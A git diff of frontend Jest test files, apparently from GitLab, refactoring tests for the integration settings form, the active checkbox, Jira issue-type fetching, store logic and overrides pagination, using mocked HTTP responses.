+++ b/spec/frontend/integrations/edit/components/active_checkbox_spec.js
@@ -34,16 +34,22 @@ describe('ActiveCheckbox', () => {
});
});
- describe('initialActivated is false', () => {
- it('renders GlFormCheckbox as unchecked', () => {
+ describe('initialActivated is `false`', () => {
+ beforeEach(() => {
createComponent({
initialActivated: false,
});
+ });
+ it('renders GlFormCheckbox as unchecked', () => {
expect(findGlFormCheckbox().exists()).toBe(true);
expect(findGlFormCheckbox().vm.$attrs.checked).toBe(false);
expect(findInputInCheckbox().attributes('disabled')).toBeUndefined();
});
+
+ it('emits `toggle-integration-active` event with `false` on mount', () => {
+ expect(wrapper.emitted('toggle-integration-active')[0]).toEqual([false]);
+ });
});
describe('initialActivated is true', () => {
@@ -63,10 +69,21 @@ describe('ActiveCheckbox', () => {
findInputInCheckbox().trigger('click');
await wrapper.vm.$nextTick();
-
expect(findGlFormCheckbox().vm.$attrs.checked).toBe(false);
});
});
+
+ it('emits `toggle-integration-active` event with `true` on mount', () => {
+ expect(wrapper.emitted('toggle-integration-active')[0]).toEqual([true]);
+ });
+
+ describe('on checkbox `change` event', () => {
+ it('emits `toggle-integration-active` event', () => {
+ findGlFormCheckbox().vm.$emit('change', false);
+
+ expect(wrapper.emitted('toggle-integration-active')[1]).toEqual([false]);
+ });
+ });
});
});
});
diff --git a/spec/frontend/integrations/edit/components/integration_form_spec.js b/spec/frontend/integrations/edit/components/integration_form_spec.js
index 0a9cbadb249..4c1394f3a87 100644
--- a/spec/frontend/integrations/edit/components/integration_form_spec.js
+++ b/spec/frontend/integrations/edit/components/integration_form_spec.js
@@ -1,6 +1,8 @@
+import axios from 'axios';
+import MockAdapter from 'axios-mock-adapter';
+import * as Sentry from '@sentry/browser';
import { setHTMLFixture } from 'helpers/fixtures';
import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
-
import { mockIntegrationProps } from 'jest/integrations/edit/mock_data';
import ActiveCheckbox from '~/integrations/edit/components/active_checkbox.vue';
import ConfirmationModal from '~/integrations/edit/components/confirmation_modal.vue';
@@ -11,11 +13,27 @@ import JiraTriggerFields from '~/integrations/edit/components/jira_trigger_field
import OverrideDropdown from '~/integrations/edit/components/override_dropdown.vue';
import ResetConfirmationModal from '~/integrations/edit/components/reset_confirmation_modal.vue';
import TriggerFields from '~/integrations/edit/components/trigger_fields.vue';
-import { integrationLevels } from '~/integrations/constants';
+import waitForPromises from 'helpers/wait_for_promises';
+import {
+ integrationLevels,
+ I18N_SUCCESSFUL_CONNECTION_MESSAGE,
+ VALIDATE_INTEGRATION_FORM_EVENT,
+ I18N_DEFAULT_ERROR_MESSAGE,
+} from '~/integrations/constants';
import { createStore } from '~/integrations/edit/store';
+import eventHub from '~/integrations/edit/event_hub';
+import httpStatus from '~/lib/utils/http_status';
+
+jest.mock('~/integrations/edit/event_hub');
+jest.mock('@sentry/browser');
describe('IntegrationForm', () => {
+ const mockToastShow = jest.fn();
+
let wrapper;
+ let dispatch;
+ let mockAxios;
+ let mockForm;
const createComponent = ({
customStateProps = {},
@@ -23,12 +41,18 @@ describe('IntegrationForm', () => {
initialState = {},
props = {},
} = {}) => {
+ const store = createStore({
+ customState: { ...mockIntegrationProps, ...customStateProps },
+ ...initialState,
+ });
+ dispatch = jest.spyOn(store, 'dispatch').mockImplementation();
+
wrapper = shallowMountExtended(IntegrationForm, {
- propsData: { ...props },
- store: createStore({
- customState: { ...mockIntegrationProps, ...customStateProps },
- ...initialState,
- }),
+ propsData: { ...props, formSelector: '.test' },
+ provide: {
+ glFeatures: featureFlags,
+ },
+ store,
stubs: {
OverrideDropdown,
ActiveCheckbox,
@@ -36,46 +60,42 @@ describe('IntegrationForm', () => {
JiraTriggerFields,
TriggerFields,
},
- provide: {
- glFeatures: featureFlags,
+ mocks: {
+ $toast: {
+ show: mockToastShow,
+ },
},
});
};
- afterEach(() => {
- wrapper.destroy();
- });
+ const createForm = ({ isValid = true } = {}) => {
+ mockForm = document.createElement('form');
+ jest.spyOn(document, 'querySelector').mockReturnValue(mockForm);
+ jest.spyOn(mockForm, 'checkValidity').mockReturnValue(isValid);
+ jest.spyOn(mockForm, 'submit');
+ };
const findOverrideDropdown = () => wrapper.findComponent(OverrideDropdown);
const findActiveCheckbox = () => wrapper.findComponent(ActiveCheckbox);
const findConfirmationModal = () => wrapper.findComponent(ConfirmationModal);
const findResetConfirmationModal = () => wrapper.findComponent(ResetConfirmationModal);
const findResetButton = () => wrapper.findByTestId('reset-button');
+ const findSaveButton = () => wrapper.findByTestId('save-button');
+ const findTestButton = () => wrapper.findByTestId('test-button');
const findJiraTriggerFields = () => wrapper.findComponent(JiraTriggerFields);
const findJiraIssuesFields = () => wrapper.findComponent(JiraIssuesFields);
const findTriggerFields = () => wrapper.findComponent(TriggerFields);
- describe('template', () => {
- describe('showActive is true', () => {
- it('renders ActiveCheckbox', () => {
- createComponent();
-
- expect(findActiveCheckbox().exists()).toBe(true);
- });
- });
-
- describe('showActive is false', () => {
- it('does not render ActiveCheckbox', () => {
- createComponent({
- customStateProps: {
- showActive: false,
- },
- });
+ beforeEach(() => {
+ mockAxios = new MockAdapter(axios);
+ });
- expect(findActiveCheckbox().exists()).toBe(false);
- });
- });
+ afterEach(() => {
+ wrapper.destroy();
+ mockAxios.restore();
+ });
+ describe('template', () => {
describe('integrationLevel is instance', () => {
it('renders ConfirmationModal', () => {
createComponent({
@@ -195,13 +215,29 @@ describe('IntegrationForm', () => {
});
describe('type is "jira"', () => {
- it('renders JiraTriggerFields', () => {
+ beforeEach(() => {
+ jest.spyOn(document, 'querySelector').mockReturnValue(document.createElement('form'));
+
createComponent({
- customStateProps: { type: 'jira' },
+ customStateProps: { type: 'jira', testPath: '/test' },
});
+ });
+ it('renders JiraTriggerFields', () => {
expect(findJiraTriggerFields().exists()).toBe(true);
});
+
+ it('renders JiraIssuesFields', () => {
+ expect(findJiraIssuesFields().exists()).toBe(true);
+ });
+
+ describe('when JiraIssueFields emits `request-jira-issue-types` event', () => {
+ it('dispatches `requestJiraIssueTypes` action', () => {
+ findJiraIssuesFields().vm.$emit('request-jira-issue-types');
+
+ expect(dispatch).toHaveBeenCalledWith('requestJiraIssueTypes', expect.any(FormData));
+ });
+ });
});
describe('triggerEvents is present', () => {
@@ -303,4 +339,210 @@ describe('IntegrationForm', () => {
});
});
});
+
+ describe('ActiveCheckbox', () => {
+ describe.each`
+ showActive
+ ${true}
+ ${false}
+ `('when `showActive` is $showActive', ({ showActive }) => {
+ it(`${showActive ? 'renders' : 'does not render'} ActiveCheckbox`, () => {
+ createComponent({
+ customStateProps: {
+ showActive,
+ },
+ });
+
+ expect(findActiveCheckbox().exists()).toBe(showActive);
+ });
+ });
+
+ describe.each`
+ formActive | novalidate
+ ${true} | ${null}
+ ${false} | ${'true'}
+ `(
+ 'when `toggle-integration-active` is emitted with $formActive',
+ ({ formActive, novalidate }) => {
+ beforeEach(async () => {
+ createForm();
+ createComponent({
+ customStateProps: {
+ showActive: true,
+ initialActivated: false,
+ },
+ });
+
+ await findActiveCheckbox().vm.$emit('toggle-integration-active', formActive);
+ });
+
+ it(`sets noValidate to ${novalidate}`, () => {
+ expect(mockForm.getAttribute('novalidate')).toBe(novalidate);
+ });
+ },
+ );
+ });
+
+ describe('when `save` button is clicked', () => {
+ describe('buttons', () => {
+ beforeEach(async () => {
+ createForm();
+ createComponent({
+ customStateProps: {
+ showActive: true,
+ canTest: true,
+ initialActivated: true,
+ },
+ });
+
+ await findSaveButton().vm.$emit('click', new Event('click'));
+ });
+
+ it('sets save button `loading` prop to `true`', () => {
+ expect(findSaveButton().props('loading')).toBe(true);
+ });
+
+ it('sets test button `disabled` prop to `true`', () => {
+ expect(findTestButton().props('disabled')).toBe(true);
+ });
+ });
+
+ describe.each`
+ checkValidityReturn | integrationActive
+ ${true} | ${false}
+ ${true} | ${true}
+ ${false} | ${false}
+ `(
+ 'when form is valid (checkValidity returns $checkValidityReturn and integrationActive is $integrationActive)',
+ ({ integrationActive, checkValidityReturn }) => {
+ beforeEach(async () => {
+ createForm({ isValid: checkValidityReturn });
+ createComponent({
+ customStateProps: {
+ showActive: true,
+ canTest: true,
+ initialActivated: integrationActive,
+ },
+ });
+
+ await findSaveButton().vm.$emit('click', new Event('click'));
+ });
+
+ it('submit form', () => {
+ expect(mockForm.submit).toHaveBeenCalledTimes(1);
+ });
+ },
+ );
+
+ describe('when form is invalid (checkValidity returns false and integrationActive is true)', () => {
+ beforeEach(async () => {
+ createForm({ isValid: false });
+ createComponent({
+ customStateProps: {
+ showActive: true,
+ canTest: true,
+ initialActivated: true,
+ },
+ });
+
+ await findSaveButton().vm.$emit('click', new Event('click'));
+ });
+
+ it('does not submit form', () => {
+ expect(mockForm.submit).not.toHaveBeenCalled();
+ });
+
+ it('sets save button `loading` prop to `false`', () => {
+ expect(findSaveButton().props('loading')).toBe(false);
+ });
+
+ it('sets test button `disabled` prop to `false`', () => {
+ expect(findTestButton().props('disabled')).toBe(false);
+ });
+
+ it('emits `VALIDATE_INTEGRATION_FORM_EVENT`', () => {
+ expect(eventHub.$emit).toHaveBeenCalledWith(VALIDATE_INTEGRATION_FORM_EVENT);
+ });
+ });
+ });
+
+ describe('when `test` button is clicked', () => {
+ describe('when form is invalid', () => {
+ it('emits `VALIDATE_INTEGRATION_FORM_EVENT` event to the event hub', () => {
+ createForm({ isValid: false });
+ createComponent({
+ customStateProps: {
+ showActive: true,
+ canTest: true,
+ },
+ });
+
+ findTestButton().vm.$emit('click', new Event('click'));
+
+ expect(eventHub.$emit).toHaveBeenCalledWith(VALIDATE_INTEGRATION_FORM_EVENT);
+ });
+ });
+
+ describe('when form is valid', () => {
+ const mockTestPath = '/test';
+
+ beforeEach(() => {
+ createForm({ isValid: true });
+ createComponent({
+ customStateProps: {
+ showActive: true,
+ canTest: true,
+ testPath: mockTestPath,
+ },
+ });
+ });
+
+ describe('buttons', () => {
+ beforeEach(async () => {
+ await findTestButton().vm.$emit('click', new Event('click'));
+ });
+
+ it('sets test button `loading` prop to `true`', () => {
+ expect(findTestButton().props('loading')).toBe(true);
+ });
+
+ it('sets save button `disabled` prop to `true`', () => {
+ expect(findSaveButton().props('disabled')).toBe(true);
+ });
+ });
+
+ describe.each`
+ scenario | replyStatus | errorMessage | expectToast | expectSentry
+ ${'when "test settings" request fails'} | ${httpStatus.INTERNAL_SERVER_ERROR} | ${undefined} | ${I18N_DEFAULT_ERROR_MESSAGE} | ${true}
+ ${'when "test settings" returns an error'} | ${httpStatus.OK} | ${'an error'} | ${'an error'} | ${false}
+ ${'when "test settings" succeeds'} | ${httpStatus.OK} | ${undefined} | ${I18N_SUCCESSFUL_CONNECTION_MESSAGE} | ${false}
+ `('$scenario', ({ replyStatus, errorMessage, expectToast, expectSentry }) => {
+ beforeEach(async () => {
+ mockAxios.onPut(mockTestPath).replyOnce(replyStatus, {
+ error: Boolean(errorMessage),
+ message: errorMessage,
+ });
+
+ await findTestButton().vm.$emit('click', new Event('click'));
+ await waitForPromises();
+ });
+
+ it(`calls toast with '${expectToast}'`, () => {
+ expect(mockToastShow).toHaveBeenCalledWith(expectToast);
+ });
+
+ it('sets `loading` prop of test button to `false`', () => {
+ expect(findTestButton().props('loading')).toBe(false);
+ });
+
+ it('sets save button `disabled` prop to `false`', () => {
+ expect(findSaveButton().props('disabled')).toBe(false);
+ });
+
+ it(`${expectSentry ? 'does' : 'does not'} capture exception in Sentry`, () => {
+ expect(Sentry.captureException).toHaveBeenCalledTimes(expectSentry ? 1 : 0);
+ });
+ });
+ });
+ });
});
diff --git a/spec/frontend/integrations/edit/components/jira_issues_fields_spec.js b/spec/frontend/integrations/edit/components/jira_issues_fields_spec.js
index 3a664b652ac..b5a8eed3598 100644
--- a/spec/frontend/integrations/edit/components/jira_issues_fields_spec.js
+++ b/spec/frontend/integrations/edit/components/jira_issues_fields_spec.js
@@ -1,10 +1,7 @@
import { GlFormCheckbox, GlFormInput } from '@gitlab/ui';
import { mountExtended, shallowMountExtended } from 'helpers/vue_test_utils_helper';
-import {
- GET_JIRA_ISSUE_TYPES_EVENT,
- VALIDATE_INTEGRATION_FORM_EVENT,
-} from '~/integrations/constants';
+import { VALIDATE_INTEGRATION_FORM_EVENT } from '~/integrations/constants';
import JiraIssuesFields from '~/integrations/edit/components/jira_issues_fields.vue';
import eventHub from '~/integrations/edit/event_hub';
import { createStore } from '~/integrations/edit/store';
@@ -216,13 +213,11 @@ describe('JiraIssuesFields', () => {
);
});
- it('emits "getJiraIssueTypes" to the eventHub when the jira-vulnerabilities component requests to fetch issue types', async () => {
- const eventHubEmitSpy = jest.spyOn(eventHub, '$emit');
-
+ it('emits "request-jira-issue-types` when the jira-vulnerabilities component requests to fetch issue types', async () => {
await setEnableCheckbox(true);
- await findJiraForVulnerabilities().vm.$emit('request-get-issue-types');
+ await findJiraForVulnerabilities().vm.$emit('request-jira-issue-types');
- expect(eventHubEmitSpy).toHaveBeenCalledWith(GET_JIRA_ISSUE_TYPES_EVENT);
+ expect(wrapper.emitted('request-jira-issue-types')).toHaveLength(1);
});
});
diff --git a/spec/frontend/integrations/edit/mock_data.js b/spec/frontend/integrations/edit/mock_data.js
index 27ba0768331..3c45ed0fb1b 100644
--- a/spec/frontend/integrations/edit/mock_data.js
+++ b/spec/frontend/integrations/edit/mock_data.js
@@ -14,3 +14,9 @@ export const mockIntegrationProps = {
type: '',
inheritFromId: 25,
};
+
+export const mockJiraIssueTypes = [
+ { id: '1', name: 'issue', description: 'issue' },
+ { id: '2', name: 'bug', description: 'bug' },
+ { id: '3', name: 'epic', description: 'epic' },
+];
diff --git a/spec/frontend/integrations/edit/store/actions_spec.js b/spec/frontend/integrations/edit/store/actions_spec.js
index e2f4c138ece..b413de2b286 100644
--- a/spec/frontend/integrations/edit/store/actions_spec.js
+++ b/spec/frontend/integrations/edit/store/actions_spec.js
@@ -1,8 +1,9 @@
+import axios from 'axios';
+import MockAdapter from 'axios-mock-adapter';
import testAction from 'helpers/vuex_action_helper';
+import { I18N_FETCH_TEST_SETTINGS_DEFAULT_ERROR_MESSAGE } from '~/integrations/constants';
import {
setOverride,
- setIsSaving,
- setIsTesting,
setIsResetting,
requestResetIntegration,
receiveResetIntegrationSuccess,
@@ -14,14 +15,21 @@ import {
import * as types from '~/integrations/edit/store/mutation_types';
import createState from '~/integrations/edit/store/state';
import { refreshCurrentPage } from '~/lib/utils/url_utility';
+import { mockJiraIssueTypes } from '../mock_data';
jest.mock('~/lib/utils/url_utility');
describe('Integration form store actions', () => {
let state;
+ let mockAxios;
beforeEach(() => {
state = createState();
+ mockAxios = new MockAdapter(axios);
+ });
+
+ afterEach(() => {
+ mockAxios.restore();
});
describe('setOverride', () => {
@@ -30,18 +38,6 @@ describe('Integration form store actions', () => {
});
});
- describe('setIsSaving', () => {
- it('should commit isSaving mutation', () => {
- return testAction(setIsSaving, true, state, [{ type: types.SET_IS_SAVING, payload: true }]);
- });
- });
-
- describe('setIsTesting', () => {
- it('should commit isTesting mutation', () => {
- return testAction(setIsTesting, true, state, [{ type: types.SET_IS_TESTING, payload: true }]);
- });
- });
-
describe('setIsResetting', () => {
it('should commit isResetting mutation', () => {
return testAction(setIsResetting, true, state, [
@@ -75,11 +71,28 @@ describe('Integration form store actions', () => {
});
describe('requestJiraIssueTypes', () => {
- it('should commit SET_JIRA_ISSUE_TYPES_ERROR_MESSAGE and SET_IS_LOADING_JIRA_ISSUE_TYPES mutations', () => {
- return testAction(requestJiraIssueTypes, null, state, [
- { type: types.SET_JIRA_ISSUE_TYPES_ERROR_MESSAGE, payload: '' },
- { type: types.SET_IS_LOADING_JIRA_ISSUE_TYPES, payload: true },
- ]);
+ describe.each`
+ scenario | responseCode | response | action
+ ${'when successful'} | ${200} | ${{ issuetypes: mockJiraIssueTypes }} | ${{ type: 'receiveJiraIssueTypesSuccess', payload: mockJiraIssueTypes }}
+ ${'when response has no issue types'} | ${200} | ${{ issuetypes: [] }} | ${{ type: 'receiveJiraIssueTypesError', payload: I18N_FETCH_TEST_SETTINGS_DEFAULT_ERROR_MESSAGE }}
+ ${'when response includes error'} | ${200} | ${{ error: new Error() }} | ${{ type: 'receiveJiraIssueTypesError', payload: I18N_FETCH_TEST_SETTINGS_DEFAULT_ERROR_MESSAGE }}
+ ${'when error occurs'} | ${500} | ${{}} | ${{ type: 'receiveJiraIssueTypesError', payload: expect.any(String) }}
+ `('$scenario', ({ responseCode, response, action }) => {
+ it(`should commit SET_JIRA_ISSUE_TYPES_ERROR_MESSAGE and SET_IS_LOADING_JIRA_ISSUE_TYPES mutations, and dispatch ${action.type}`, () => {
+ mockAxios.onPut('/test').replyOnce(responseCode, response);
+
+ return testAction(
+ requestJiraIssueTypes,
+ new FormData(),
+ { propsSource: { testPath: '/test' } },
+ [
+ // should clear the error messages and set the loading state
+ { type: types.SET_JIRA_ISSUE_TYPES_ERROR_MESSAGE, payload: '' },
+ { type: types.SET_IS_LOADING_JIRA_ISSUE_TYPES, payload: true },
+ ],
+ [action],
+ );
+ });
});
});
diff --git a/spec/frontend/integrations/edit/store/getters_spec.js b/spec/frontend/integrations/edit/store/getters_spec.js
index ad7a887dff2..3353e0c84cc 100644
--- a/spec/frontend/integrations/edit/store/getters_spec.js
+++ b/spec/frontend/integrations/edit/store/getters_spec.js
@@ -1,11 +1,4 @@
-import {
- currentKey,
- isInheriting,
- isDisabled,
- propsSource,
-} from '~/integrations/edit/store/getters';
-import * as types from '~/integrations/edit/store/mutation_types';
-import mutations from '~/integrations/edit/store/mutations';
+import { currentKey, isInheriting, propsSource } from '~/integrations/edit/store/getters';
import createState from '~/integrations/edit/store/state';
import { mockIntegrationProps } from '../mock_data';
@@ -52,29 +45,6 @@ describe('Integration form store getters', () => {
});
});
- describe('isDisabled', () => {
- it.each`
- isSaving | isTesting | isResetting | expected
- ${false} | ${false} | ${false} | ${false}
- ${true} | ${false} | ${false} | ${true}
- ${false} | ${true} | ${false} | ${true}
- ${false} | ${false} | ${true} | ${true}
- ${false} | ${true} | ${true} | ${true}
- ${true} | ${false} | ${true} | ${true}
- ${true} | ${true} | ${false} | ${true}
- ${true} | ${true} | ${true} | ${true}
- `(
- 'when isSaving = $isSaving, isTesting = $isTesting, isResetting = $isResetting then isDisabled = $expected',
- ({ isSaving, isTesting, isResetting, expected }) => {
- mutations[types.SET_IS_SAVING](state, isSaving);
- mutations[types.SET_IS_TESTING](state, isTesting);
- mutations[types.SET_IS_RESETTING](state, isResetting);
-
- expect(isDisabled(state)).toBe(expected);
- },
- );
- });
-
describe('propsSource', () => {
beforeEach(() => {
state.defaultState = defaultState;
diff --git a/spec/frontend/integrations/edit/store/mutations_spec.js b/spec/frontend/integrations/edit/store/mutations_spec.js
index 18faa2f6bba..641547550d1 100644
--- a/spec/frontend/integrations/edit/store/mutations_spec.js
+++ b/spec/frontend/integrations/edit/store/mutations_spec.js
@@ -17,22 +17,6 @@ describe('Integration form store mutations', () => {
});
});
- describe(`${types.SET_IS_SAVING}`, () => {
- it('sets isSaving', () => {
- mutations[types.SET_IS_SAVING](state, true);
-
- expect(state.isSaving).toBe(true);
- });
- });
-
- describe(`${types.SET_IS_TESTING}`, () => {
- it('sets isTesting', () => {
- mutations[types.SET_IS_TESTING](state, true);
-
- expect(state.isTesting).toBe(true);
- });
- });
-
describe(`${types.SET_IS_RESETTING}`, () => {
it('sets isResetting', () => {
mutations[types.SET_IS_RESETTING](state, true);
diff --git a/spec/frontend/integrations/edit/store/state_spec.js b/spec/frontend/integrations/edit/store/state_spec.js
index 6cd84836395..5582be7fd3c 100644
--- a/spec/frontend/integrations/edit/store/state_spec.js
+++ b/spec/frontend/integrations/edit/store/state_spec.js
@@ -6,7 +6,6 @@ describe('Integration form state factory', () => {
defaultState: null,
customState: {},
isSaving: false,
- isTesting: false,
isResetting: false,
override: false,
isLoadingJiraIssueTypes: false,
diff --git a/spec/frontend/integrations/integration_settings_form_spec.js b/spec/frontend/integrations/integration_settings_form_spec.js
deleted file mode 100644
index c35d178e518..00000000000
--- a/spec/frontend/integrations/integration_settings_form_spec.js
+++ /dev/null
@@ -1,248 +0,0 @@
-import MockAdaptor from 'axios-mock-adapter';
-import IntegrationSettingsForm from '~/integrations/integration_settings_form';
-import eventHub from '~/integrations/edit/event_hub';
-import axios from '~/lib/utils/axios_utils';
-import toast from '~/vue_shared/plugins/global_toast';
-import {
- I18N_FETCH_TEST_SETTINGS_DEFAULT_ERROR_MESSAGE,
- I18N_SUCCESSFUL_CONNECTION_MESSAGE,
- I18N_DEFAULT_ERROR_MESSAGE,
- GET_JIRA_ISSUE_TYPES_EVENT,
- TOGGLE_INTEGRATION_EVENT,
- TEST_INTEGRATION_EVENT,
- SAVE_INTEGRATION_EVENT,
-} from '~/integrations/constants';
-import waitForPromises from 'helpers/wait_for_promises';
-
-jest.mock('~/vue_shared/plugins/global_toast');
-jest.mock('lodash/delay', () => (callback) => callback());
-
-const FIXTURE = 'services/edit_service.html';
-
-describe('IntegrationSettingsForm', () => {
- let integrationSettingsForm;
-
- const mockStoreDispatch = () => jest.spyOn(integrationSettingsForm.vue.$store, 'dispatch');
-
- beforeEach(() => {
- loadFixtures(FIXTURE);
-
- integrationSettingsForm = new IntegrationSettingsForm('.js-integration-settings-form');
- integrationSettingsForm.init();
- });
-
- describe('constructor', () => {
- it('should initialize form element refs on class object', () => {
- expect(integrationSettingsForm.$form).toBeDefined();
- expect(integrationSettingsForm.$form.nodeName).toBe('FORM');
- expect(integrationSettingsForm.formActive).toBeDefined();
- });
-
- it('should initialize form metadata on class object', () => {
- expect(integrationSettingsForm.testEndPoint).toBeDefined();
- });
- });
-
- describe('event handling', () => {
- let mockAxios;
-
- beforeEach(() => {
- mockAxios = new MockAdaptor(axios);
- jest.spyOn(axios, 'put');
- });
-
- afterEach(() => {
- mockAxios.restore();
- eventHub.dispose(); // clear event hub handlers
- });
-
- describe('when event hub receives `TOGGLE_INTEGRATION_EVENT`', () => {
- it('should remove `novalidate` attribute to form when called with `true`', () => {
- eventHub.$emit(TOGGLE_INTEGRATION_EVENT, true);
-
- expect(integrationSettingsForm.$form.getAttribute('novalidate')).toBe(null);
- });
-
- it('should set `novalidate` attribute to form when called with `false`', () => {
- eventHub.$emit(TOGGLE_INTEGRATION_EVENT, false);
-
- expect(integrationSettingsForm.$form.getAttribute('novalidate')).toBe('novalidate');
- });
- });
-
- describe('when event hub receives `TEST_INTEGRATION_EVENT`', () => {
- describe('when form is valid', () => {
- beforeEach(() => {
- jest.spyOn(integrationSettingsForm.$form, 'checkValidity').mockReturnValue(true);
- });
-
- it('should make an ajax request with provided `formData`', async () => {
- eventHub.$emit(TEST_INTEGRATION_EVENT);
- await waitForPromises();
-
- expect(axios.put).toHaveBeenCalledWith(
- integrationSettingsForm.testEndPoint,
- new FormData(integrationSettingsForm.$form),
- );
- });
-
- it('should show success message if test is successful', async () => {
- jest.spyOn(integrationSettingsForm.$form, 'submit').mockImplementation(() => {});
-
- mockAxios.onPut(integrationSettingsForm.testEndPoint).reply(200, {
- error: false,
- });
-
- eventHub.$emit(TEST_INTEGRATION_EVENT);
- await waitForPromises();
-
- expect(toast).toHaveBeenCalledWith(I18N_SUCCESSFUL_CONNECTION_MESSAGE);
- });
-
- it('should show error message if ajax request responds with test error', async () => {
- const errorMessage = 'Test failed.';
- const serviceResponse = 'some error';
-
- mockAxios.onPut(integrationSettingsForm.testEndPoint).reply(200, {
- error: true,
- message: errorMessage,
- service_response: serviceResponse,
- test_failed: false,
- });
-
- eventHub.$emit(TEST_INTEGRATION_EVENT);
- await waitForPromises();
-
- expect(toast).toHaveBeenCalledWith(`${errorMessage} ${serviceResponse}`);
- });
-
- it('should show error message if ajax request failed', async () => {
- mockAxios.onPut(integrationSettingsForm.testEndPoint).networkError();
-
- eventHub.$emit(TEST_INTEGRATION_EVENT);
- await waitForPromises();
-
- expect(toast).toHaveBeenCalledWith(I18N_DEFAULT_ERROR_MESSAGE);
- });
-
- it('should always dispatch `setIsTesting` with `false` once request is completed', async () => {
- const dispatchSpy = mockStoreDispatch();
- mockAxios.onPut(integrationSettingsForm.testEndPoint).networkError();
-
- eventHub.$emit(TEST_INTEGRATION_EVENT);
- await waitForPromises();
-
- expect(dispatchSpy).toHaveBeenCalledWith('setIsTesting', false);
- });
- });
-
- describe('when form is invalid', () => {
- beforeEach(() => {
- jest.spyOn(integrationSettingsForm.$form, 'checkValidity').mockReturnValue(false);
- jest.spyOn(integrationSettingsForm, 'testSettings');
- });
-
- it('should dispatch `setIsTesting` with `false` and not call `testSettings`', async () => {
- const dispatchSpy = mockStoreDispatch();
-
- eventHub.$emit(TEST_INTEGRATION_EVENT);
- await waitForPromises();
-
- expect(dispatchSpy).toHaveBeenCalledWith('setIsTesting', false);
- expect(integrationSettingsForm.testSettings).not.toHaveBeenCalled();
- });
- });
- });
-
- describe('when event hub receives `GET_JIRA_ISSUE_TYPES_EVENT`', () => {
- it('should always dispatch `requestJiraIssueTypes`', () => {
- const dispatchSpy = mockStoreDispatch();
- mockAxios.onPut(integrationSettingsForm.testEndPoint).networkError();
-
- eventHub.$emit(GET_JIRA_ISSUE_TYPES_EVENT);
-
- expect(dispatchSpy).toHaveBeenCalledWith('requestJiraIssueTypes');
- });
-
- it('should make an ajax request with provided `formData`', () => {
- eventHub.$emit(GET_JIRA_ISSUE_TYPES_EVENT);
-
- expect(axios.put).toHaveBeenCalledWith(
- integrationSettingsForm.testEndPoint,
- new FormData(integrationSettingsForm.$form),
- );
- });
-
- it('should dispatch `receiveJiraIssueTypesSuccess` with the correct payload if ajax request is successful', async () => {
- const dispatchSpy = mockStoreDispatch();
- const mockData = ['ISSUE', 'EPIC'];
- mockAxios.onPut(integrationSettingsForm.testEndPoint).reply(200, {
- error: false,
- issuetypes: mockData,
- });
-
- eventHub.$emit(GET_JIRA_ISSUE_TYPES_EVENT);
- await waitForPromises();
-
- expect(dispatchSpy).toHaveBeenCalledWith('receiveJiraIssueTypesSuccess', mockData);
- });
-
- it.each(['Custom error message here', undefined])(
- 'should dispatch "receiveJiraIssueTypesError" with a message if the backend responds with error',
- async (responseErrorMessage) => {
- const dispatchSpy = mockStoreDispatch();
-
- const expectedErrorMessage =
- responseErrorMessage || I18N_FETCH_TEST_SETTINGS_DEFAULT_ERROR_MESSAGE;
- mockAxios.onPut(integrationSettingsForm.testEndPoint).reply(200, {
- error: true,
- message: responseErrorMessage,
- });
-
- eventHub.$emit(GET_JIRA_ISSUE_TYPES_EVENT);
- await waitForPromises();
-
- expect(dispatchSpy).toHaveBeenCalledWith(
- 'receiveJiraIssueTypesError',
- expectedErrorMessage,
- );
- },
- );
- });
-
- describe('when event hub receives `SAVE_INTEGRATION_EVENT`', () => {
- describe('when form is valid', () => {
- beforeEach(() => {
- jest.spyOn(integrationSettingsForm.$form, 'checkValidity').mockReturnValue(true);
- jest.spyOn(integrationSettingsForm.$form, 'submit');
- });
-
- it('should submit the form', async () => {
- eventHub.$emit(SAVE_INTEGRATION_EVENT);
- await waitForPromises();
-
- expect(integrationSettingsForm.$form.submit).toHaveBeenCalled();
- expect(integrationSettingsForm.$form.submit).toHaveBeenCalledTimes(1);
- });
- });
-
- describe('when form is invalid', () => {
- beforeEach(() => {
- jest.spyOn(integrationSettingsForm.$form, 'checkValidity').mockReturnValue(false);
- jest.spyOn(integrationSettingsForm.$form, 'submit');
- });
-
- it('should dispatch `setIsSaving` with `false` and not submit form', async () => {
- const dispatchSpy = mockStoreDispatch();
-
- eventHub.$emit(SAVE_INTEGRATION_EVENT);
-
- await waitForPromises();
-
- expect(dispatchSpy).toHaveBeenCalledWith('setIsSaving', false);
- expect(integrationSettingsForm.$form.submit).not.toHaveBeenCalled();
- });
- });
- });
- });
-});
diff --git a/spec/frontend/integrations/overrides/components/integration_overrides_spec.js b/spec/frontend/integrations/overrides/components/integration_overrides_spec.js
index ae89d05cead..8abd83887f7 100644
--- a/spec/frontend/integrations/overrides/components/integration_overrides_spec.js
+++ b/spec/frontend/integrations/overrides/components/integration_overrides_spec.js
@@ -8,6 +8,7 @@ import IntegrationOverrides from '~/integrations/overrides/components/integratio
import axios from '~/lib/utils/axios_utils';
import httpStatus from '~/lib/utils/http_status';
import ProjectAvatar from '~/vue_shared/components/project_avatar.vue';
+import UrlSync from '~/vue_shared/components/url_sync.vue';
const mockOverrides = Array(DEFAULT_PER_PAGE * 3)
.fill(1)
@@ -26,9 +27,10 @@ describe('IntegrationOverrides', () => {
overridesPath: 'mock/overrides',
};
- const createComponent = ({ mountFn = shallowMount } = {}) => {
+ const createComponent = ({ mountFn = shallowMount, stubs } = {}) => {
wrapper = mountFn(IntegrationOverrides, {
propsData: defaultProps,
+ stubs,
});
};
@@ -127,27 +129,58 @@ describe('IntegrationOverrides', () => {
});
describe('pagination', () => {
- it('triggers fetch when `input` event is emitted', async () => {
- createComponent();
- jest.spyOn(axios, 'get');
- await waitForPromises();
+ describe('when total items does not exceed the page limit', () => {
+ it('does not render', async () => {
+ mockAxios.onGet(defaultProps.overridesPath).reply(httpStatus.OK, [mockOverrides[0]], {
+ 'X-TOTAL': DEFAULT_PER_PAGE - 1,
+ 'X-PAGE': 1,
+ });
+
+ createComponent();
+
+ // wait for initial load
+ await waitForPromises();
- await findPagination().vm.$emit('input', 2);
- expect(axios.get).toHaveBeenCalledWith(defaultProps.overridesPath, {
- params: { page: 2, per_page: DEFAULT_PER_PAGE },
+ expect(findPagination().exists()).toBe(false);
});
});
- it('does not render with <=1 page', async () => {
- mockAxios.onGet(defaultProps.overridesPath).reply(httpStatus.OK, [mockOverrides[0]], {
- 'X-TOTAL': 1,
- 'X-PAGE': 1,
+ describe('when total items exceeds the page limit', () => {
+ const mockPage = 2;
+
